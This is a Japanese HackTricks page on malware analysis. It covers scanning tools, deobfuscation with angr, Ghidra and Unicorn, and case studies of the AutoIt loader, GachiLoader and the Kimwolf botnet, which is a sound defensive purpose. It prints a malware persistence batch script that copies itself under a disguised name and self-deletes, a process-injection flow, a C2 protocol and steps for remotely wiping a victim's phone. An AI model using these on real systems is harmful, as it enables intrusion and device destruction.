マルウェア解析
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
フォレンジック チートシート
https://www.jaiminton.com/cheatsheet/DFIR/#
オンラインサービス
オフラインのアンチウイルスおよび検出ツール
Yara
インストール
sudo apt-get install -y yara
ルールの準備
このスクリプトを使って github からすべての yara malware rules をダウンロードしてマージします: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
rules ディレクトリを作成してスクリプトを実行してください。これにより、すべての yara rules を含む malware_rules.yar というファイルが作成されます。
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
スキャン
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: malwareのチェックとyara rulesの作成
バイナリからyara rulesを生成するには、ツールYaraGenを使用できます。これらのチュートリアルを参照してください: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
インストール
sudo apt-get install -y clamav
スキャン
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa は実行ファイル(PE, ELF, .NET)に含まれる潜在的に悪意のある capabilities を検出します。したがって、Att&ck tactics や次のような疑わしい capabilities を検出できます:
- check for OutputDebugString error
- run as a service
- create process
入手先は Github repo です。
IOCs
IOC は Indicator Of Compromise を意味します。IOC は、潜在的に望ましくないソフトウェアや確認済みの malware を識別するための conditions that identify の集合です。Blue Teams はこの種の定義を用いて、自分たちの systems や networks 内で search for this kind of malicious files を行います。
これらの定義を共有することは非常に有用です。あるコンピュータで malware が特定され、その malware の IOC が作成されると、他の Blue Teams がそれを使って malware をより速く特定できます。
IOC を作成・修正するツールの一つが IOC Editor.
Redline のようなツールを使って、デバイス内で search for defined IOCs in a device を行うことができます。
Loki
Loki は Simple Indicators of Compromise 向けのスキャナーです。
検出は4つの検出方法に基づいています:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) は GNU GPLv2 ライセンスでリリースされた Linux 向けの malware scanner で、共有ホスティング環境で直面する脅威を想定して設計されています。ネットワークエッジの侵入検知システムからの脅威データを利用して、実際に攻撃で使用されている malware を抽出し、検出用のシグネチャを生成します。さらに、LMD の checkout 機能によるユーザー提出や malware コミュニティのリソースからも脅威データを取得します。
rkhunter
Tools like rkhunter can be used to check the filesystem for possible rootkits and malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS は、さまざまな手法を用いて実行ファイル内の難読化された文字列を検出しようとするツールです。
PEpper
PEpper は、実行ファイル内部の基本的な項目(バイナリデータ、エントロピー、URLsやIPs、いくつかのyaraルール)をチェックします。
PEstudio
PEstudioは、imports、exports、headersなどのWindows実行ファイル情報を取得できるツールで、さらにvirus totalをチェックし、潜在的なAtt&ck技術を検出します。
Detect It Easy(DiE)
DiEは、ファイルがencryptedかどうかを検出し、packersも見つけるツールです。
NeoPI
NeoPI は、Pythonスクリプトで、さまざまなstatistical methodsを使用してテキスト/スクリプトファイル内のobfuscatedおよびencryptedコンテンツを検出します。NeoPIの目的は、detection of hidden web shell codeの支援です。
php-malware-finder
PHP-malware-finderは、obfuscated/dodgy codeの検出や、webshellsやmalwaresでよく使われるPHP関数を使用するファイルの検出に最善を尽くします。
Apple Binary Signatures
一部のmalware sampleを確認する際は、バイナリのcheck the signatureを必ず行ってください。署名したdeveloperが既にrelatedしている**malware.**である可能性があるからです。
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
検出手法
File Stacking
もしあるフォルダがWebサーバのfilesを含み、last updated on some dateであることが分かっているなら、Webサーバ内の全てのfilesが作成・変更されたdateをcheckし、もしどれかのdateがsuspiciousであればそのファイルを確認します。
Baselines
フォルダのファイルがshouldn’t have been modifiedはずであれば、そのフォルダのoriginal filesのhashを計算し、currentなものとcompareします。変更されているものは全てsuspiciousです。
Statistical Analysis
ログに情報が保存されている場合、check statistics like how many times each file of a web server was accessed as a web shell might be one of the most のような統計を確認できます。
Android in-app native telemetry (no root)
Androidでは、ターゲットアプリのプロセス内でネイティブコードを、他のJNIライブラリが初期化される前に小さなロガーライブラリをプリロードしてinstrumentすることができます。これにより、システム全体のフックやrootなしでネイティブ挙動を早期に可視化できます。一般的なアプローチはSoTapで、正しいABI向けのlibsotap.soをAPKに入れ、早期にSystem.loadLibrary(“sotap”)呼び出し(例: static initializerやApplication.onCreate)を挿入して、内部/外部パスやLogcatフォールバックからログを収集します。
See the Android native reversing page for setup details and log paths:
Android/JNI native string deobfuscation with angr + Ghidra
一部のAndroidマルウェアやRASP保護されたアプリは、RegisterNativesを呼ぶ前に実行時にJNIメソッド名やシグネチャをデコードして隠します。Frida/ptraceによるinstrumentationがanti-debugで停止されても、バイナリ内のデコーダをangrで実行して平文をオフラインで復元し、その結果をGhidraにコメントとして戻すことができます。
重要な考え方: .so内のデコーダを呼び出し可能な関数として扱い、.rodataの難読化されたバイト列に対してそれを実行し、最初の\x00(C文字列終端)までの出力バイトを具体化します。アドレス不一致を避けるためにangrとGhidraで同じイメージベースを使用してください。
Workflow overview
- Triage in Ghidra: identify the decoder and its calling convention/arguments in JNI_OnLoad and RegisterNatives setup.
- Run angr (CPython3) to execute the decoder for each target string and dump results.
- Annotate in Ghidra: auto-comment decoded strings at each call site for fast JNI reconstruction.
Ghidra triage (JNI_OnLoad pattern)
- Apply JNI datatypes to JNI_OnLoad so Ghidra recognises JNINativeMethod structures.
- Typical JNINativeMethod per Oracle docs:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Look for calls to RegisterNatives. If the library constructs the name/signature with a local routine (e.g., FUN_00100e10) that references a static byte table (e.g., DAT_00100bf4) and takes parameters like (encoded_ptr, out_buf, length), that is an ideal target for offline execution.
angr setup (execute the decoder offline)
- Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
angr セットアップとオフラインデコーダ実行
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- 大規模に扱う場合は、call sites と decoder の引数 (encoded_ptr, size) の静的マップを構築します。Wrappers が引数を隠すことがあるため、API recovery が不安定な場合は Ghidra xrefs からこのマッピングを手動で作成することがあります。
<details>
<summary>angr を使って複数の call sites を一括でデコードする</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Ghidraでコールサイトに注釈を付ける Option A: Jython-only comment writer (事前に生成された JSON を使用)
- angrはCPython3を必要とするため、deobfuscation と annotation は分離してください。まず上記のangrスクリプトを実行して decoded_strings.json を生成します。次にこの Jython GhidraScript を実行して、各呼び出し箇所に PRE_COMMENTs を書き込み(コンテキストとして呼び出し元関数名を含めます):
デコードされた JNI 文字列に注釈を付けるための Ghidra Jython スクリプト
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.
なぜこれが有効で、いつ使うか
- Offline execution は RASP/anti-debug を回避します:文字列復号に ptrace や Frida フックを必要としません。
- Ghidra と angr の base_addr(例: 0x00100000)を合わせておくことで、関数/データのアドレスが両ツール間で一致します。
- デコーダの再現可能な手順:変換を純粋関数として扱い、新しい state に出力バッファを割り当て、(encoded_ptr, out_ptr, len) で呼び出し、その後 state.solver.eval で具体化し \x00 までの C-strings をパースします。
注意点と落とし穴
- ターゲットの ABI/calling convention を尊重してください。angr.factory.callable は arch に基づいて選択します;引数がずれているように見える場合は cc を明示してください。
- デコーダがゼロ初期化された出力バッファを期待する場合は、呼び出し前に state 内で outbuf をゼロで初期化してください。
- position-independent な Android .so では、angr 内のアドレスが Ghidra で見えるものと一致するように必ず base_addr を渡してください。
- アプリが薄いスタブでデコーダをラップしている場合でも、call-xrefs を列挙するために currentProgram.getReferenceManager() を使用してください。
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Modern malware families heavily abuse Control-Flow Graph (CFG) obfuscation: instead of a direct jump/call they compute the destination at run-time and execute a `jmp rax` or `call rax`. A small *dispatcher* (typically nine instructions) sets the final target depending on the CPU `ZF`/`CF` flags, completely breaking static CFG recovery.
この手法は SLOW#TEMPEST ローダで顕著に見られますが、IDAPython と Unicorn CPU emulator のみを使った 3 ステップのワークフローで対処できます。
### 1. Locate every indirect jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. ディスパッチャのバイトコードを抽出する
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Unicornを使ってそれを2回エミュレートする
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
run(code,0,0) と run(code,1,1) を実行して false と true のブランチターゲットを取得します。
4. 直接の jump / call をパッチで元に戻す
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
パッチ適用後、IDAに関数を強制的に再解析させて、完全なCFGとHex-Raysの出力を復元します:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. 間接 API 呼び出しにラベルを付ける
各 call rax の実際の宛先が判明したら、それを IDA に教えることで、パラメータ型や変数名が自動的に復元されます:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
実用的な利点
- 実際の CFG を回復 → decompilation が 10 行から数千行に増える。
- string-cross-reference & xrefs を可能にし、振る舞いの再構築を容易にする。
- Scripts は再利用可能:同じトリックで保護された任意の loader に投入するだけで使える。
AutoIt-based loaders: .a3x 復号、Task Scheduler の偽装および RAT 注入
この侵入パターンは signed MSI、AutoIt loaders(.a3x にコンパイルされた)、および benign app として偽装された Task Scheduler job を連鎖させる。
MSI → custom actions → AutoIt orchestrator
Process tree と MSI custom actions によって実行される commands:
- MsiExec.exe → cmd.exe を使って install.bat を実行
- WScript.exe を使ってデコイのエラーダイアログを表示
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (drops loader, sets persistence, self-cleans):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (ユーザー向けデコイ):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Key artifacts and masquerade:
- AutoIt3.exe と IoKlTr.au3 を C:\Users\Public\Music にドロップする
- schtasks.exe を hwpviewer.exe にコピーする(Hangul Word Processor viewer としてなりすます)
- 毎分実行されるスケジュールタスク “IoKlTr” を作成する
- スタートアップの LNK は Smart_Web.lnk として確認される;mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - モジュールを %APPDATA%\Google\Browser\ の
adbまたはadvを含むサブフォルダに配置し、autoit.vbs/install.bat ヘルパー経由で起動する
Forensic triage tips:
- schtasks 列挙:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Task XML と同じ場所にある schtasks.exe の名前変更されたコピーを探す:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - 共通のパス:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - プロセス生成を相関付ける: AutoIt3.exe が正規の Windows バイナリ(例: cleanmgr.exe, hncfinder.exe)を生成する
AutoIt loaders and .a3x payload decryption → injection
- AutoIt モジュールは
#AutoIt3Wrapper_Outfile_type=a3xでコンパイルされ、組み込まれたペイロードを復号してから正当なプロセスに注入する。 - 観測されたファミリー: QuasarRAT(hncfinder.exe に注入)、RftRAT/RFTServer(cleanmgr.exe に注入)、および RemcosRAT モジュール(
Remcos\RunBinary.a3x)。 - 復号パターン: HMAC によって AES キーを導出し、埋め込まれたブロブを復号してからプレーンテキストのモジュールを注入する。
Generic decryption skeleton (exact HMAC input/algorithm is family-specific):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Common injection flow (CreateRemoteThread-style):
- ターゲットホスト(例: cleanmgr.exe)を CreateProcess(サスペンド)する
- 復号済みモジュール/シェルコードを用いて VirtualAllocEx + WriteProcessMemory
- payload を実行するために CreateRemoteThread または QueueUserAPC を使用
Hunting ideas
- 親プロセスが MsiExec.exe または WScript.exe の AutoIt3.exe がシステムユーティリティを起動している
- public/ユーザー書き込み可能なパス下の
.a3x拡張子のファイルや AutoIt スクリプトランナー - 分単位のトリガーを持ち、AutoIt3.exe を実行するか Microsoft 署名のないバイナリを実行する疑わしいスケジュールタスク
Android Find My Device (Find Hub) のアカウント乗っ取り悪用
Windows の侵入中、攻撃者は盗んだ Google 資格情報を使い、被害者の Android デバイスを繰り返し消去して通知を抑制しつつ、被害者のログイン済みデスクトップメッセンジャー経由でアクセスを拡大した。
Operator steps (from a logged-in browser session):
- Google Account → Security → Your devices を確認し、Find My Phone → Find Hub (https://www.google.com/android/find) に進む
- デバイスを選択 → Google パスワードを再入力 → “Erase device”(factory reset)を実行;回復を遅らせるために繰り返す
- 任意: リンクされているメールボックス(例: Naver)内のアラートメールを削除してセキュリティ通知を隠す
Tracing heavily obfuscated Node.js loaders
攻撃者はますます JavaScript ローダーを nexe でコンパイルされたスタンドアロンの Windows バイナリ内にバンドルしており、ランタイムがスクリプトと一緒に配布される。その結果できる PE は 60–90 MB 程度になり、Node.js がインストールされていなくても実行される。トリアージ中に:
- 埋め込まれた JavaScript を PE から抽出して静的 diff 用のローカルツールに渡すために
nexe_unpackerを使う。 %TEMP%にディスクベースのミューテックスがあることが多い(GachiLoader は約5分で消えるランダムな<name>.lockファイルを落とす)。実行前にそのファイルをサンドボックスにコピーしておくと、冗長なステージをスキップしつつ後続の payloads を観察できる。
Node.js API tracing to defeat anti-analysis
Check Point’s Nodejs-Tracer は任意の Node.js プロセス内のコアモジュールにフックを入れ、anti-VM プローブを偽装でき、サンプルが書き出すすべてのアーティファクトを保存する。難読化されたスクリプトを tracer 経由で起動して、アナリスト制御のインストルメンテーションをコールスタックに残す:
node -r .\tracer.js main.js
Key configuration toggles inside tracer.js allow you to:
- ファイルシステム、子プロセス、HTTP のアクティビティをログ化 (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES)。例えばkidkadi.nodeのようなドロップされたファイルは、マルウェアが削除する前に作業ディレクトリにコピーされます。 - RAM/CPU カウントを現実的に返したり、
tasklist出力を偽装したり、PowerShell/WMI の応答を改ざんして環境フィンガープリントを上書きします。これにより、≥4 GB RAM、≥2 コアを要求したり、ユーザー名(mashinesssss、wdagutilityaccount等)、ホスト名(desktop-vrsqlag、server1…)、プロセス名(vmtoolsd.exe、fiddler.exe、x64dbg.exe、frida-server.exe)を精査するローダーをバイパスできます。 Get-WmiObject Win32_DiskDrive(vmware、kvm、virtio等を探す)やWin32_VideoController(“VirtualBox Graphics Adapter”、“Hyper-V Video”等を遮断)、Win32_PortConnectorの数チェックなどの WMI ハードウェアチェックを無効化します。これらのプローブが「実機」ハードウェアを報告すると、サンドボックスは GachiLoader が解析を遅らせるために使用するInvoke-WebRequestのlinkedin.com、grok.com、whatsapp.comなどへの無限ループに陥らなくなります。
Capturing gated C2 traffic automatically
The tracer’s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:
- ハードコードされた各 C2 にホストのテレメトリを
/logに POST します。 X-Secret: gachifamilyヘッダ付きでGET /richfamily/<per-sample key>を発行し、Base64 エンコードされたペイロード URL を取得します。- 最後にその URL に対して長いサンプル固有の
X-Secretヘッダを付けてGETを行います。これが欠けると403 Forbiddenが返ります。
tracer がリクエストを完全に記録する(ヘッダ、ボディ、宛先)ため、同じトラフィックを再生してペイロードを取り出したり、メモリ上の Themida/VMProtect シェルをダンプしたり、Rhadamanthys の設定データを大規模に抽出したりできます。
AdaptixC2: Configuration Extraction and TTPs
See the dedicated page:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK ローダーと TV ボックス上でのネイティブ ELF 実行
com.n2.systemservice06*のような悪意ある APK は、res/raw内に静的にリンクされた ARM ELF を同梱します(例:R.raw.libniggakernel)。BOOT_COMPLETEDレシーバーが起動時に動作し、raw リソースをアプリのサンドボックス(例:/data/data/<pkg>/niggakernel)に抽出して実行可能にし、suで呼び出します。- 多くの Android TV ボックス/タブレットは pre-rooted イメージや world-writable な
suを搭載しているため、ローダーはエクスプロイトチェーン無しでも ELF を UID 0 で確実に起動できます。永続化は、レシーバーが再起動やアプリ再起動後に再起動するため「おまけ」のように得られます。 - このパターンを探すリバースエンジニアは、
AndroidManifest.xmlを diff して隠しのブートレシーバーやResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su")を参照するコードを確認できます。ELF がドロップされたら、Linux ユーザーランドのバックドアとしてトリアージしてください(Kimwolf は UPX-packed、stripped、statically linked、32-bit ARM EABI5)。
Runtime mutexes & masquerading IOCs
- 起動時に Kimwolf は
@niggaboxv4/@niggaboxv5のような抽象 UNIX ドメインソケットをバインドします。既存のソケットがあれば終了するため、ソケット名はミューテックス兼フォレンジックアーティファクトとして機能します。 - プロセスタイトルは
netd_services、tv_helper等のサービス風の名前で上書きされ、Android のプロセス一覧に溶け込みます。ホストベースの検出はこれらの名前とミューテックスソケットの組み合わせでアラートできます。
スタック XOR 文字列復号 (ARM NEON + flare_emu)
- 機密文字列(C2 ドメイン、リゾルバ、DoT エンドポイント)は暗号化された 8 バイトブロックでスタックに積まれ、
VEOR Qx, Qx, Qy(veorq_s64)でインプレースに復号されます。解析者は flare_emu をスクリプトして、復号器が呼び出し側に渡すたびに復号済みポインタを取得できます:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
VEOR Q8, Q8, Q9/veorq_s64シーケンスを検索し、そのレンジをエミュレートすることで、すべての復号済み文字列を一斉にダンプし、平文のスタック上限定の寿命を回避します。
DNS-over-TLS resolution plus XOR IP derivation
- すべての Kimwolf バリアントは、DNS-over-TLS (TCP/853) を用いて Google (8.8.8.8) や Cloudflare (1.1.1.1) と直接通信し C2 ドメインを解決するため、通常の DNS ログ記録やハイジャックを無効化します。
- v4 bots は返された IPv4 A レコードをそのまま使用します。v5 bots は A レコードを 32-bit 整数として扱い、エンディアンを入れ替え、定数
0x00ce0491と XOR し、再びエンディアンを戻して実際の C2 IP を得ます。CyberChef レシピ: Change IP format → 4バイトごとに endianness を入れ替え → XOR with00 ce 04 91→ ドット区切り表記に戻す。
ENS / EtherHiding fallback
- 後期ビルドでは ENS ドメイン(
pawsatyou.eth)を追加し、その resolver の text key"lol"に一見無害な IPv6 (fed0:5dec:...:1be7:8599) を格納します。 - ボットは最後の4バイト(
1b e7 85 99)を取り出し、0x93141715と XOR して、その結果を IPv4 C2(136.243.146.140)として解釈します。ENS の text レコードを更新するだけで、DNS に触れることなくブロックチェーン経由で下流の C2 を即座に切り替えられます。
TLS + ECDSA 認証済みコマンドチャネル
- トラフィックは wolfSSL 内でカスタムのフレーム化プロトコルにカプセル化されています:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- ブートストラップ: ボットは2つの空の
MsgType=0 (register)ヘッダを送信します。C2 はランダムなチャレンジと ASN.1 DER ECDSA 署名を含むMsgType=1 (verify)で応答します。ボットはそれを埋め込まれた SubjectPublicKeyInfo blob に対して検証します。失敗するとセッションを終了し、ハイジャック/シンクホール化された C2 ノードがフリートにタスクを送るのを防ぎます。 - 検証が成功すると、ボットはオペレータ定義の group string(例:
android-postboot-rt)を含むMsgType=0本文を送信します。グループが有効であれば、C2 はMsgType=2 (confirm)で応答し、その後タスキング(MsgType 5–12)が開始されます。 - サポートされる命令には SOCKS-style TCP/UDP プロキシ(residential proxy monetization)、reverse shell / single command exec、ファイルの読み書き、そして Mirai-compatible DDoSBody ペイロード(同じ
AtkType、Duration、Targets[]、Flags[]レイアウト)があります。
参考資料
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


